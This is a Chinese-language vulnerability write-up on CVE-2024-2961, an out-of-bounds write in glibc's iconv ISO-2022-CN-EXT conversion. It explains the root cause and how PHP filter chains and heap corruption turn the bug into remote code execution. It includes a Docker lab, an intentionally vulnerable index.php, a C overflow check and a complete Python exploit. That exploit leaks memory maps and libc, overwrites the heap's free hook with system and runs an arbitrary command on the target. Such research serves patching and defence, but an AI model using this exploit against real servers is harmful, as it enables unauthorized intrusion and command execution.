---
# System prepended metadata

title: CVE-2024-2961 分析報告
tags: [CVE Analysis]

---

# CVE-2024-2961 分析報告

## Overview

CVE-2024-2961 是一個發生在 GNU C Library（glibc）中 iconv() 函式的記憶體破壞漏洞。該漏洞源於編碼轉換模組 iconvdata/iso-2022-cn-ext.c，在處理特定中文字符（如「劄」「䂚」）並轉換為 ISO-2022-CN-EXT 編碼時，未正確檢查輸出 buffer 大小，導致會有 1–3 bytes 的 Out-of-Bounds (OOB) Write。

由於 iconv 常被用於 PHP，因此該漏洞可以與 php://filter/convert.iconv.* 結合，造成 Overflow，進而實現 leak、甚至達成 RCE。

## Affected Versions

- glibc iconv：支援 ISO-2022-CN-EXT 的版本
- PHP：多數版本（含 PHP 7.x, 8.x）
- 框架與系統：例如某些 Wordpress Plugin、PHP 7.0 的 Symfony 4.x 等，符合下列條件：
    - 有 file_get_contents($_GET['file']) 類似行為
    - 可以透過 php://filter 執行 filter-chain

## Root Cause Analysis

### ISO-2022-CN-EXT 漏洞

- 由多個子字符集組成，專門用於轉換中文字，是 ISO-2022-CN 的擴充，可以做大量中文字元轉換
- 流程：需要編碼→發出轉義序列 (escape sequence) 告知需切換至哪個字符集
- 在處理 escape sequence 時僅在部分路徑做 buffer boundary 檢查

[source code](https://github.com/bminor/glibc/blob/59974938fe1f4add843f5325f78e2a7ccd8db853/iconvdata/iso-2022-cn-ext.c#L550)

可以發現只有一條路徑有做 overflow 的 check

```c=
// iconvdata/iso-2022-cn-ext.c

/* See whether we have to emit an escape sequence.  */
if (set != used)
{
    /* First see whether we announced that we use this
        character set.  */
    if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
    {
        const char *escseq;

        if (outptr + 4 > outend) // <-------------------- BOUND CHECK
        {
            result = __GCONV_FULL_OUTPUT;
            break;
        }

        assert(used >= 1 && used <= 4);
        escseq = ")A\0\0)G)E" + (used - 1) * 2;
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;

        ann = (ann & ~SO_ann) | (used << 8);
    }
    else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
    {
        const char *escseq;

        // <-------------------- NO BOUND CHECK

        assert(used == CNS11643_2_set); /* XXX */
        escseq = "*H";
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;

        ann = (ann & ~SS2_ann) | (used << 8);
    }
    else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
    {
        const char *escseq;

        // <-------------------- NO BOUND CHECK

        assert((used >> 5) >= 3 && (used >> 5) <= 7);
        escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;

        ann = (ann & ~SS3_ann) | (used << 8);
    }
}
```

- 使得當 output buffer 不足，仍可能寫入 escape sequence 而造成 1~3 bytes 的 OOB Write。可觸發的字符包含：
    - `劄`（U+5284）
    - `䂚`（U+409A）
    - `峛`（U+5CDB）
    - `湿`（U+6E7F）

### 限制

- 只能 overflow 1~3 bytes
- 要呼叫到 iconv
- 要控得到 ISO-2022-CN-EXT 的 input、output buffer

## Exploitation Path

### 使用 `php://filter` 觸發 iconv

攻擊者可透過以下 filter chain 構造觸發 iconv：

```php=
php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=...
```

### 配合 PHP Heap Layout 操作

PHP Heap 結構特性：

- PHP 內建 memory manager 使用 `emalloc/efree` 配合 `zend_mm_heap`
- 分配區域為固定 page（0x1000），依照 bin size（如 0x40、0x180）維護對應 freelist
- 每個 bin 為 LIFO（後釋放的 chunk 先被回收）
- 未使用 chunk 會記錄下一塊 chunk 的指標於 chunk header（可作為 attack vector）
- 問題在於每個 HTTP request 都會建立獨立 heap，通常難以維持 exploit 狀態

Exploitation 方式：

- 將資料放入 `php_stream_bucket`，構造特定大小的 heap chunk
- `dechunk` filter 可將 buflen 調整至小於 heap size（縮減）
- 接著透過 `iconv.UTF-8.ISO-2022-CN-EXT` 實現 OOB write，蓋掉 next chunk pointer
- 最終達成對 `zend_mm_heap->custom_heap` 中 `_free` function pointer 的覆寫（類似 `__free_hook`）

## PoC

### 環境建置

Dockerfile

```yaml=
FROM ubuntu:22.04

ENV TZ=Asia/Taipei
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone

RUN apt update && \
    DEBIAN_FRONTEND=noninteractive apt install -y --allow-downgrades \
        tzdata software-properties-common \
        vim gcc g++ make \
        ncat gdb wget curl \
        nginx php php-cli php-fpm php-mbstring php-xml php-zip php-dev php-common php-cgi \
        apt-src dpkg-dev \
        libc6=2.35-0ubuntu3 libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 \
        php-pear php-json php8.1 php8.1-dev php8.1-cli php8.1-fpm php8.1-mbstring php8.1-xml php8.1-zip php8.1-cgi

COPY index.php /var/www/html/index.php
COPY poc.c /var/www/html/poc.c
COPY exp.py /var/www/html/exp.py
COPY nginx.conf /etc/nginx/sites-enabled/default
COPY start.sh /start.sh

RUN chmod +x /start.sh

WORKDIR /var/www/html
CMD ["/start.sh"]
```

docker-compose.yml

```yaml=
version: '3.8'

services:
  cve2961:
    build:
      context: .
      dockerfile: Dockerfile
    image: cve-2024-2961:v2
    container_name: cve-2024-2961-container
    ports:
      - "80:80"
    stdin_open: true
    tty: true
```

先透過以下 script 驗證是否會 overflow

```c=
#include <stdio.h>
#include <string.h>
#include <iconv.h>
void hexdump(void *ptr, int buflen){
    unsigned char *buf = (unsigned char*)ptr;
    int i;
    for (i = 0; i < buflen; i++) {
        if (i % 16 == 0)
            printf("\n%06x: ", i);
        printf("%02x ", buf[i]);
    }
    printf("\n");
}
int main(){
    iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
    char input[0x10] = "AAAAA劄";
    char output[0x10] = {0};
    char *pinput = input;
    char *poutput = output;
    size_t sinput = strlen(input);
    size_t soutput = sinput;
    iconv(cd, &pinput, &sinput, &poutput, &soutput);
    hexdump(output, 0x10);
    return 0;
}
```

![image](https://hackmd.io/_uploads/Hk-5d1hUxg.png)

可以發現確實 overflow 了一個 byte

後續的 exploit 使用直接建置 php 網頁的方式去做攻擊

Dockerfile

```yaml=
FROM php:8.2.0-apache

RUN apt-get update && apt-get install -y \
    locales \
    wget \
    gcc \
    g++ \
    build-essential \
    vim \
 && rm -rf /var/lib/apt/lists/*

RUN echo "zh_TW.UTF-8 UTF-8" > /etc/locale.gen && locale-gen

RUN docker-php-ext-install iconv

WORKDIR /var/www/html
COPY index.php .

EXPOSE 80
```

docker-compose.yml

```yaml=
version: '3.8'
services:
  web:
    build: .
    ports:
      - "8080:80"
    container_name: cve-2024-2961-custom
    restart: unless-stopped
```

index.php

```php=
<?php    
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
```

exploit.py：參考自 [cnext-exploits](https://github.com/ambionics/cnext-exploits)

```py=
from __future__ import annotations
import base64, zlib, sys, re
from pathlib import Path
from requests.exceptions import ConnectionError, ChunkedEncodingError
from pwn import *
from ten import *

heap_size = 2 * 1024 * 1024
vulnerability = "劄".encode("utf-8")
session = Session()
url = ""
command = ""
heap = None
pad_size = 20
info = {}

def send(path, url):
    return session.post(url, data={"file": path})

def download(path, url):
    path = f"php://filter/convert.base64-encode/resource={path}"
    response = send(path, url)
    data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
    return base64.decode(data)

def compress(data):
    return zlib.compress(data, 9)[2:-4]

def b64(data, misalign = True):
    return base64.encode(data).encode()

def compressed_bucket(data):
    return chunked_chunk(data, 0x8000)

def qpe(data):
    return "".join(f"={x:02x}" for x in data).upper().encode()

def ptr_bucket(*ptrs, size = None):
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)
    return bucket

def chunked_chunk(data, size = None):
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"

def download_file(remote_path, local_path):
    data = get_file(remote_path)
    Path(local_path).write_bytes(data)

def _get_region(regions, *names):
    for region in regions:
        if any(name in region["path"] for name in names):
            return region
    return None

def find_main_heap(regions):
    heaps = []
    for region in reversed(regions):
        is_heap_region = (
            region["permissions"] == "rw-p" and
            (region["stop"] - region["start"]) >= heap_size and
            region["stop"] & (heap_size - 1) == 0 and
            region["path"] in ("", "[anon:zend_alloc]")
        )
        if is_heap_region:
            heap_address = region["stop"] - heap_size + 0x40
            heaps.append(heap_address)
    first = heaps[0]
    print(f"Using {hex(first)} as heap")
    return first

def get_file(path):
    return download(path, url)

def get_regions():
    maps = get_file("/proc/self/maps").decode()
    PATTERN = re.compile(
        r"^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.*)"
    )
    regions = []
    for line in table.split(maps, strip=True):
        if match := PATTERN.match(line):
            start = int(match.group(1), 16)
            stop = int(match.group(2), 16)
            permissions = match.group(3)
            path = match.group(4).rsplit(" ", 1)[-1] if "/" in match.group(4) or "[" in match.group(4) else ""
            regions.append({
                "start": start,
                "stop": stop,
                "permissions": permissions,
                "path": path
            })
    return regions

def get_symbols_and_addresses():
    regions = get_regions()
    LIBC_FILE = "/dev/shm/cnext-libc"
    info["heap"] = heap or find_main_heap(regions)
    libc = _get_region(regions, "libc-", "libc.so")
    download_file(libc["path"], LIBC_FILE)
    info["libc"] = ELF(LIBC_FILE, checksec=False)
    info["libc"].address = libc["start"]

def build_exploit_path():
    LIBC = info["libc"]
    ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
    ADDR_EFREE = LIBC.symbols["__libc_system"]
    ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

    ADDR_HEAP = info["heap"]
    ADDR_FREE_SLOT = ADDR_HEAP + 0x20
    ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x168
    ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
    CS = 0x100

    pad = b"\x00" * (CS - 0x18)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = compressed_bucket(pad)

    step1 = b"\x00" * 1
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1, CS)
    step1 = compressed_bucket(step1)

    step2 = b"\x00" * (0x48 + 8)
    step2 = chunked_chunk(step2, CS)
    step2 = chunked_chunk(step2)
    step2 = compressed_bucket(step2)

    step2_write_ptr = b"0\n".ljust(0x48, b"\x00") + p64(ADDR_FAKE_BIN)
    step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
    step2_write_ptr = chunked_chunk(step2_write_ptr)
    step2_write_ptr = compressed_bucket(step2_write_ptr)

    step3 = b"\x00" * CS
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = compressed_bucket(step3)

    step3_overflow = b"\x00" * (CS - len(vulnerability)) + vulnerability
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = compressed_bucket(step3_overflow)

    step4 = b"=00" + b"\x00" * (CS - 1)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = compressed_bucket(step4)

    step4_pwn = ptr_bucket(
        0x200000, 0, 0, 0,
        ADDR_CUSTOM_HEAP,
        *([0] * 13),
        ADDR_HEAP,
        *([0] * 11),
        size=CS,
    )
    step4_custom_heap = ptr_bucket(ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18)

    COMMAND = f"kill -9 $PPID; {command}".encode() + b"\x00"
    COMMAND = COMMAND.ljust(0x140, b"\x00")
    step4_use_custom_heap = qpe(COMMAND)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

    pages = (
        step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap +
        step3_overflow + pad * pad_size + step1 * 3 + step2_write_ptr + step2 * 2
    )
    resource = compress(compress(pages))
    resource = b64(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"
    filters = [
        "zlib.inflate", "zlib.inflate", "dechunk",
        "convert.iconv.L1.L1", "dechunk",
        "convert.iconv.L1.L1", "dechunk",
        "convert.iconv.L1.L1", "dechunk",
        "convert.iconv.UTF-8.ISO-2022-CN-EXT",
        "convert.quoted-printable-decode", "convert.iconv.L1.L1"
    ]
    return f"php://filter/read={'|'.join(filters)}/resource={resource}"

def exploit():
    path = build_exploit_path()
    try:
        send(path, url)
    except (ConnectionError, ChunkedEncodingError):
        pass

def run():
    get_symbols_and_addresses()
    exploit()

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python test_copy.py <url> <command>")
        sys.exit(1)
    url = sys.argv[1]
    command = sys.argv[2]
    run()
```

![image](https://hackmd.io/_uploads/rJxEeaCUeg.png)
